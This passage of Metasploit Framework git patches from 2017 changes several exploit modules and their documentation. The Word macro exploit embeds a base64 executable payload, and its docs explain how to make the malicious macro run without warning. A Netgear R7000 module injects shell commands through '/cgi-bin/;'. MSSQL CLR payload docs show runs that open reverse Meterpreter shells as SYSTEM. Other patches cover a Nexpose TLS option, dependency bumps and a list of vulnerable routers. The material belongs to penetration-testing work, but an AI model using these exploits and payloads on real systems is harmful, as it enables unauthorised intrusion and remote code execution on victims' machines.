found in the following path on +Windows: + +``` +C:\Program Files\Microsoft Office\root\Office16\SELFCERT.exe +``` + +In Office 2010, the self-signing tool is actually an option in the Office tools folder in the +start menu. It should be named "Digital Certificate for VBA Projects". + +Double-click on the executable, enter a random name and click "OK", at this point you have a +certificate to play with. + +Next, we want to flag this certificate as trusted: + +1. Click on Start, and then enter "Internet Options". +2. Click on the Content tab, and then click on the Certificates button. +3. You should see your new certificate under the Personal tab, export it. +4. Click on the Trusted Publishers, and then import your personal certificate. +5. Try the macro exploit again, it should run the malicious code without warning. From 056313e4111544c918ca37676afe8ad1adc0234d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 16 Feb 2017 12:49:29 -0600 Subject: [PATCH 191/426] Update doc --- .../modules/exploit/multi/fileformat/office_word_macro.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/fileformat/office_word_macro.md b/documentation/modules/exploit/multi/fileformat/office_word_macro.md index d94c00b193..0542810dbc 100644 --- a/documentation/modules/exploit/multi/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/multi/fileformat/office_word_macro.md @@ -12,7 +12,7 @@ executable when the Office document is launched. ## Vulnerable Application -A Windows machine with Microsoft Office installed. The Office application must support the docm +A Windows or OSX machine with Microsoft Office installed. The Office application must support the docm format. Specifically, this module was tested specifically against: @@ -49,7 +49,7 @@ To use this exploit in a real environment, you will most likely need to modify t Here's one approach you can do: 1. Use the module to generate the malicious docm -2. Copy the malicious docm to a Windows machine, and edit it with Microsoft Office (such as 2013). +2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013). When you open the document, the payload will probably do something on your machine. It's ok, since you generated it, it should not cause any problems for you. 3. Save the doc, and test again to make sure the payload still works. From cbfe18e4d7759a6f7b15fed9249131da4121aa54 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin <Jeffrey_Martin@rapid7.com> Date: Thu, 3 Nov 2016 15:54:07 -0500 Subject: [PATCH 192/426] use certificates in nexpose --- Gemfile.lock | 4 +- .../admin/http/nexpose_xxe_file_read.rb | 3 +- plugins/nexpose.rb | 55 ++++++++++++------- 3 files changed, 38 insertions(+), 24 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index c844472dc8..7b02e5f5d6 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -195,7 +195,7 @@ GEM nessus_rest (0.1.6) net-ssh (4.0.1) network_interface (0.0.1) - nexpose (5.1.0) + nexpose (5.3.0) nokogiri (1.7.0.1) mini_portile2 (~> 2.1.0) octokit (4.6.2) @@ -350,4 +350,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.13.7 + 1.14.3 diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index f2f0640679..6e20542aee 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -74,9 +74,10 @@ class MetasploitModule < Msf::Auxiliary def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] + trust_store = datastore['TRUST_STORE'] prot = ssl ? 'https' : 'http' - nsc = Nexpose::Connection.new(rhost, user, pass, rport) + nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store) print_status("Authenticating as: " << user) begin diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index bd1380f6bf..8f96490484 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -81,7 +81,7 @@ class Plugin::Nexpose < Msf::Plugin group = "default" if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port, 'trust_cert' => @trust_cert}} ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } print_good("#{Nexpose_yaml} created.") else @@ -100,21 +100,21 @@ class Plugin::Nexpose < Msf::Plugin @pass = lconfig['default']['password'] @host = lconfig['default']['server'] @port = lconfig['default']['port'] - @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + @trust_cert = lconfig['default']['trust_cert'] + unless @trust_cert + @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + end nexpose_login return end end if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") + nexpose_usage return end - @user = @pass = @host = @port = @sslv = nil + @user = @pass = @host = @port = @sslv = @trust_cert = @trust_cert_file = nil case args.length when 1,2 @@ -122,31 +122,44 @@ class Plugin::Nexpose < Msf::Plugin @user,@pass = cred.split(':', 2) targ ||= '127.0.0.1:3780' @host,@port = targ.split(':', 2) - port ||= '3780' - @sslv = args[1] + @port ||= '3780' + unless args.length == 1 + @trust_cert_file = args[1] + if File.exists? @trust_cert_file + @trust_cert = File.read(@trust_cert_file) + end + end when 4,5 - @user,@pass,@host,@port,@sslv = args + @user,@pass,@host,@port,@trust_cert = args + unless args.length == 4 + @trust_cert_file = @trust_cert + if File.exists? @trust_cert_file + @trust_cert = File.read(@trust_cert_file) + end + end else - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") + nexpose_usage return end nexpose_login end + def nexpose_usage + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port <ssl-confirm>") + end + def nexpose_login if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") + nexpose_usage return end - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + if(@host != "localhost" and @host != "127.0.0.1" and (@trust_cert.nil? && @sslv != "ok")) + # consider removing this message and replacing with check on trust_store, and if trust_store is not found validate @host already has a truly trusted cert? print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") @@ -154,7 +167,7 @@ class Plugin::Nexpose < Msf::Plugin return end - # Wrap this so a duplicate session doesnt prevent a new login + # Wrap this so a duplicate session does not prevent a new login begin cmd_nexpose_disconnect rescue ::Interrupt @@ -164,7 +177,7 @@ class Plugin::Nexpose < Msf::Plugin begin print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") - nsc = Nexpose::Connection.new(@host, @user, @pass, @port) + nsc = Nexpose::Connection.new(@host, @user, @pass, @port, nil, nil, @trust_cert) nsc.login rescue ::Nexpose::APIError => e print_error("Connection failed: #{e.reason}") From b42beea7c67bf541054f3daebdd9512f707ce4f8 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin <Jeffrey_Martin@rapid7.com> Date: Thu, 16 Feb 2017 15:21:41 -0600 Subject: [PATCH 193/426] maintain compatibility for non-validated connect --- plugins/nexpose.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 8f96490484..60d4537c77 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -127,6 +127,8 @@ class Plugin::Nexpose < Msf::Plugin @trust_cert_file = args[1] if File.exists? @trust_cert_file @trust_cert = File.read(@trust_cert_file) + else + @sslv = @trust_cert_file end end when 4,5 @@ -135,6 +137,8 @@ class Plugin::Nexpose < Msf::Plugin @trust_cert_file = @trust_cert if File.exists? @trust_cert_file @trust_cert = File.read(@trust_cert_file) + else + @sslv = @trust_cert_file end end else @@ -146,9 +150,9 @@ class Plugin::Nexpose < Msf::Plugin def nexpose_usage print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm || trusted_cert_file>") print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") + print_status(" nexpose_connect username password host port <ssl-confirm || trusted_cert_file>") end def nexpose_login @@ -693,4 +697,4 @@ module Nexpose end end end -end \ No newline at end of file +end From 9f5582a4e41cc05a8dc7f682c8175ea64964c2ea Mon Sep 17 00:00:00 2001 From: Jeffrey Martin <Jeffrey_Martin@rapid7.com> Date: Thu, 16 Feb 2017 15:28:35 -0600 Subject: [PATCH 194/426] update Gemfile.lock for master merge --- Gemfile.lock | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 7b02e5f5d6..54bf36a915 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -147,7 +147,7 @@ GEM filesize (0.1.1) fivemat (1.3.2) gherkin (4.0.0) - i18n (0.7.0) + i18n (0.8.0) jsobfu (0.4.2) rkelly-remix json (1.8.6) @@ -202,9 +202,8 @@ GEM sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - packetfu (1.1.11) - network_interface (~> 0.0) - pcaprub (~> 0.12) + packetfu (1.1.13.pre) + pcaprub patch_finder (1.0.2) pcaprub (0.12.4) pg (0.19.0) @@ -235,7 +234,7 @@ GEM rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) rake (12.0.0) - rb-readline (0.5.3) + rb-readline (0.5.4) recog (2.1.4) nokogiri redcarpet (3.4.0) @@ -247,12 +246,12 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.6) + rex-core (0.1.7) rex-encoder (0.1.2) metasm rex-arch rex-text - rex-exploitation (0.1.8) + rex-exploitation (0.1.10) jsobfu metasm rex-arch @@ -304,20 +303,20 @@ GEM rspec-support (~> 3.5.0) rspec-support (3.5.0) rubyntlm (0.6.1) - rubyzip (1.2.0) + rubyzip (1.2.1) sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) shoulda-matchers (3.1.1) activesupport (>= 4.0.0) - simplecov (0.12.0) + simplecov (0.13.0) docile (~> 1.1.0) json (>= 1.8, < 3) simplecov-html (~> 0.10.0) simplecov-html (0.10.0) slop (3.6.0) sqlite3 (1.3.13) - sshkey (1.8.0) + sshkey (1.9.0) thor (0.19.4) thread_safe (0.3.5) timecop (0.8.1) @@ -350,4 +349,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.14.3 + 1.14.4 From 1f23b4400337394478b80a92c67e77421145f132 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 16 Feb 2017 23:16:06 -0600 Subject: [PATCH 195/426] I modified windows/fileformat/office_word_macro the wrong way --- .../windows/fileformat/office_word_macro.rb | 25 +++++-------------- 1 file changed, 6 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb index 78e903c7d1..94260f848d 100644 --- a/modules/exploits/windows/fileformat/office_word_macro.rb +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -39,30 +39,18 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => true }, + 'Platform' => 'win', 'Targets' => [ - [ - 'Microsoft Office Word on Windows', - { - 'Platform' => 'win', - } - ], - [ - 'Microsoft Office Word on Mac OS X (Python)', - { - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON - } - ] + ['Microsoft Office Word', {}], ], 'Privileged' => false, - 'DisclosureDate' => "Jan 10 2012" + 'DisclosureDate' => "Jan 10 2012", + 'DefaultTarget' => 0 )) register_options([ - OptString.new("BODY", [false, 'The message for the document body', - 'Contents of this document are protected. Please click Enable Content to continue.' - ]), + OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end @@ -75,9 +63,8 @@ class MetasploitModule < Msf::Exploit::Remote when /document\.xml/ buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) when /core\.xml/ - p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe b64_payload = ' ' * 55 - b64_payload << Rex::Text.encode_base64(p) + b64_payload << Rex::Text.encode_base64(generate_payload_exe) buf.gsub!(/PAYLOADGOESHERE/, b64_payload) end From 6e62899e1c42884754aa64a1b094db7bacc09c92 Mon Sep 17 00:00:00 2001 From: Metasploit <metasploit@rapid7.com> Date: Fri, 17 Feb 2017 10:02:51 -0800 Subject: [PATCH 196/426] Bump version of framework to 4.13.24 --- Gemfile.lock | 4 ++-- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 5e7e16bfc2..78e232849a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.23) + metasploit-framework (4.13.24) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -104,7 +104,7 @@ GEM bcrypt (3.1.11) bit-struct (0.15.0) builder (3.2.3) - capybara (2.12.0) + capybara (2.12.1) addressable mime-types (>= 1.16) nokogiri (>= 1.3.3) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 107e8933a6..a398e5921b 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.23" + VERSION = "4.13.24" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 3fac632ce10605acf80f239eba98019884401a67 Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Fri, 17 Feb 2017 16:36:45 -0500 Subject: [PATCH 197/426] Update netgear_r7000_cgibin_exec.md --- .../modules/exploit/linux/http/netgear_r7000_cgibin_exec.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md index 7becffce8a..ce6d65012b 100644 --- a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md +++ b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md @@ -10,16 +10,12 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po 1. Start msfconsole 2. Do: `use exploit/linux/http/netgear_r7000_cgibin_exec` 3. Do: `set RHOST <RouterIP>` - 4. Do: `set PAYLOAD <payload> + 4. Do: `set PAYLOAD <payload>` 5. Do: `run` 6. If the router is a R7000 or R6400, the module should run ## Options - **RHOST** - - This should usually be the local IP address of the vulnerable router. - **PAYLOAD** The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module From f4befda59b77f3723d601c67952531c863196192 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 17 Feb 2017 15:50:45 -0600 Subject: [PATCH 198/426] inherit the options from the default target so we can autocomplete before the rhost resolution occurs --- lib/msf/core/exploit.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 25fa8f2823..0d6eb6de08 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -287,15 +287,17 @@ class Exploit < Msf::Module # to the information hash. super(info) + self.default_target = info['DefaultTarget'] || 0 + # Skip this whole routine if there are no targets - unless info['Targets'].nil? + if self.default_target == 0 && info['Targets'] # Add an Automatic Target to the Exploit if it doesn't have one - unless has_auto_target?(info['Targets']) + if !has_auto_target?(info['Targets']) # Don't add the automatic target unless there's already more than one target to pick from if info['Targets'].count > 1 # Finally, only add the target if there is a remote host option if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index) - auto = ["Automatic", { 'AutoGenerated' => true}] + auto = ["Automatic", {'AutoGenerated' => true}.merge(info['Targets'][self.default_target][1])] info['Targets'].unshift(auto) end end @@ -304,7 +306,6 @@ class Exploit < Msf::Module self.targets = Rex::Transformer.transform(info['Targets'], Array, [ Target ], 'Targets') - self.default_target = info['DefaultTarget'] || 0 self.payload_info = info['Payload'] || {} self.successful = false self.session_count = 0 From 0e3eba18b37885169fceaff985df5431caf7ed60 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 17 Feb 2017 16:00:15 -0600 Subject: [PATCH 199/426] simplify guard logic --- lib/msf/core/exploit.rb | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 0d6eb6de08..ae9b020021 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -289,18 +289,12 @@ class Exploit < Msf::Module self.default_target = info['DefaultTarget'] || 0 - # Skip this whole routine if there are no targets - if self.default_target == 0 && info['Targets'] - # Add an Automatic Target to the Exploit if it doesn't have one - if !has_auto_target?(info['Targets']) - # Don't add the automatic target unless there's already more than one target to pick from - if info['Targets'].count > 1 - # Finally, only add the target if there is a remote host option - if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index) - auto = ["Automatic", {'AutoGenerated' => true}.merge(info['Targets'][self.default_target][1])] - info['Targets'].unshift(auto) - end - end + # Add an auto-target to the exploit if it doesn't have one + if info['Targets'] && info['Targets'].count > 1 && !has_auto_target?(info['Targets']) + # Finally, only add the target if there is a remote host option + if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index) + auto = ["Automatic", {'AutoGenerated' => true}.merge(info['Targets'][self.default_target][1])] + info['Targets'].unshift(auto) end end From 807a27e73d458ae69646430d1ea66cad322759ab Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 17 Feb 2017 16:59:09 -0600 Subject: [PATCH 200/426] clarify error handling when a channel cannot be opened --- lib/rex/post/meterpreter/channel.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 184b945d49..dbb89d34ff 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -116,15 +116,13 @@ class Channel begin response = client.send_request(request) cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) - # Handle channel open failure exceptions + if cid.nil? + raise Rex::Post::Meterpreter::RequestError + end end - if cid - # Create the channel instance - klass.new(client, cid, type, flags) - else - raise Rex::ConnectionRefused - end + # Create the channel instance + klass.new(client, cid, type, flags) end ## From 014fe2520c475c5da6b8c205caa01950951e895b Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 17 Feb 2017 17:28:30 -0600 Subject: [PATCH 201/426] module docs --- .../windows/mssql/mssql_clr_payload.md | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 documentation/modules/exploit/windows/mssql/mssql_clr_payload.md diff --git a/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md b/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md new file mode 100644 index 0000000000..0de853aa58 --- /dev/null +++ b/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md @@ -0,0 +1,84 @@ +## Introduction + +This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/). + +## Prerequisites + +The module requires SQL credentials for a user with sufficient privileges to: + +* Enable CLR support (if not already enabled). +* Enabled `TRUSTWORTHY` (if not already enabled). +* Add an assembly to the server. +* Create a new stored procedure. + +The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the `data` folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode. + +This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen. + +This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual Studio command line). + +## Sample Runs: + +MS SQL 2005: + +``` +msf exploit(mssql_clr_payload) > exploit + +[*] [2017.02.10-12:56:15] Started reverse TCP handler on 172.16.255.1:4444 +[!] [2017.02.10-12:56:15] 172.16.255.130:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have TRUSTWORTHY setting on, enabling ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have CLR support enabled, enabling ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Using version v3.5 of the Payload Assembly +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Adding custom payload assembly ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Exposing payload execution stored procedure ... +[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Executing the payload ... +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing stored procedure ... +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing assembly ... +[*] [2017.02.10-12:56:16] Sending stage (1189423 bytes) to 172.16.255.130 +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring CLR setting ... +[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring Trustworthy setting ... +[*] Meterpreter session 10 opened (172.16.255.1:4444 -> 172.16.255.130:49168) at 2017-02-10 12:56:18 +1000 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-8CT6HVI5D6J +OS : Windows 2008 R2 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` + +MS SQL 2016 + +``` +msf exploit(mssql_clr_payload) > exploit + +[*] [2017.02.10-12:55:58] Started reverse TCP handler on 172.16.255.1:4444 +[!] [2017.02.10-12:55:58] 172.16.255.129:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have TRUSTWORTHY setting on, enabling ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have CLR support enabled, enabling ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Using version v4.0 of the Payload Assembly +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Adding custom payload assembly ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Exposing payload execution stored procedure ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Executing the payload ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing stored procedure ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing assembly ... +[*] [2017.02.10-12:55:58] Sending stage (1189423 bytes) to 172.16.255.129 +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring CLR setting ... +[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring Trustworthy setting ... +[*] Meterpreter session 9 opened (172.16.255.1:4444 -> 172.16.255.129:49732) at 2017-02-10 12:56:00 +1000 + +meterpreter > getuid +Server username: NT Service\MSSQLSERVER +meterpreter > sysinfo +Computer : WIN-7QEE7C4D0GF +OS : Windows 2016 (Build 14393). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` From 63d1de9acd0286b4b64ceac9cb0908eb3e7f06f0 Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Fri, 17 Feb 2017 18:29:46 -0500 Subject: [PATCH 202/426] Updates from review Also testing some things, line 84 and 85 mostly --- .../linux/http/netgear_r7000_cgibin_exec.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index 60a3b72d47..240e4f22fe 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -38,8 +38,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 1024, - 'DisableNops' => true - #'EncoderType' => Msf::Encoder::Type::CmdUnixIfs, + 'DisableNops' => true, + 'BadChars' => "\x20" } )) @@ -81,16 +81,16 @@ class MetasploitModule < Msf::Exploit::Remote # Mostly from ddwrt_cgibin_exec.rb, it's essentially the same exploit def exploit is_vuln = check - cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join - str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&" + cmd = payload.encoded # .unpack("C*").map{|c| "\\x%.2x" % c}.join + #str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&" print_status('Sending encoded command...') - vprint_status("Encoded command: #{str}") - send_request_raw({ 'uri' => "/cgi-bin/;#{str}" }) + vprint_status("Encoded command: #{cmd}") + send_request_cgi({ 'uri' => "/cgi-bin/;#{cmd}" }) print_status('Giving the handler time to run...') handler - select(nil, nil, nil, 10.0) + sleep(10) end end From 52350292cf4f3467e9800b4b95dcf29758dad538 Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Fri, 17 Feb 2017 18:41:11 -0500 Subject: [PATCH 203/426] Fix msftidy warning --- modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index 240e4f22fe..1b38fd8008 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Space' => 1024, 'DisableNops' => true, - 'BadChars' => "\x20" + 'BadChars' => "\x20" } )) From 052bf7d99ce313fba6d40936a78a08b8f311c76a Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 17 Feb 2017 18:12:57 -0600 Subject: [PATCH 204/426] fix some module documentation formatting --- .../http/allegro_rompager_auth_bypass.md | 189 +++++++++--------- 1 file changed, 91 insertions(+), 98 deletions(-) diff --git a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md index 1ac7f61ba0..035ac29006 100644 --- a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md @@ -1,107 +1,100 @@ ## Vulnerable devices -Following is list of devices and firmware versions with known values used for exploitation -0. Azmoon AZ-D140W - 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1 -1. Billion BiPAC 5102S - Av2.7.0.23 (UE0.B1C) -2. Billion BiPAC 5102S - Bv2.7.0.23 (UE0.B1C) -3. Billion BiPAC 5200 - 2.11.84.0(UE2.C2)3.11.11.6 -4. Billion BiPAC 5200 - 2_11_62_2_ UE0.C2D_3_10_16_0 -5. Billion BiPAC 5200A - 2_10_5 _0(RE0.C2)3_6_0_0 -6. Billion BiPAC 5200A - 2_11_38_0 (RE0.C29)3_10_5_0 -7. Billion BiPAC 5200GR4 - 2.11.91.0(RE2.C29)3.11.11.52 -8. Billion BiPAC 5200SRD - 2.10.5.0 (UE0.C2C) 3.6.0.0 -9. Billion BiPAC 5200SRD - 2.12.17.0_UE2.C3_3.12.17.0 -10. Billion BiPAC 5200SRD - 2_11_62_2(UE0.C3D)3_11_11_22 -11. D-Link DSL-2520U - Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL -12. D-Link DSL-2600U - Z1_DSL-2600U -13. D-Link DSL-2600U - Z2_V1.08_ras -14. TP-Link TD-8616 - V2_080513 -15. TP-Link TD-8816 - V4_100528_Russia -16. TP-Link TD-8816 - V4_100524 -17. TP-Link TD-8816 - V5_100528_Russia -18. TP-Link TD-8816 - V5_100524 -19. TP-Link TD-8816 - V5_100903 -20. TP-Link TD-8816 - V6_100907 -21. TP-Link TD-8816 - V7_111103 -22. TP-Link TD-8816 - V7_130204 -23. TP-Link TD-8817 - V5_100524 -24. TP-Link TD-8817 - V5_100702_TR -25. TP-Link TD-8817 - V5_100903 -26. TP-Link TD-8817 - V6_100907 -27. TP-Link TD-8817 - V6_101221 -28. TP-Link TD-8817 - V7_110826 -29. TP-Link TD-8817 - V7_130217 -30. TP-Link TD-8817 - V7_120509 -31. TP-Link TD-8817 - V8_140311 -32. TP-Link TD-8820 - V3_091223 -33. TP-Link TD-8840T - V1_080520 -34. TP-Link TD-8840T - V2_100525 -35. TP-Link TD-8840T - V2_100702_TR -36. TP-Link TD-8840T - V2_090609 -37. TP-Link TD-8840T - V3_101208 -38. TP-Link TD-8840T - V3_110221 -39. TP-Link TD-8840T - V3_120531 -40. TP-Link TD-W8101G - V1_090107 -41. TP-Link TD-W8101G - V1_090107 -42. TP-Link TD-W8101G - V2_100819 -43. TP-Link TD-W8101G - V2_101015_TR -44. TP-Link TD-W8101G - V2_101101 -45. TP-Link TD-W8101G - V3_110119 -46. TP-Link 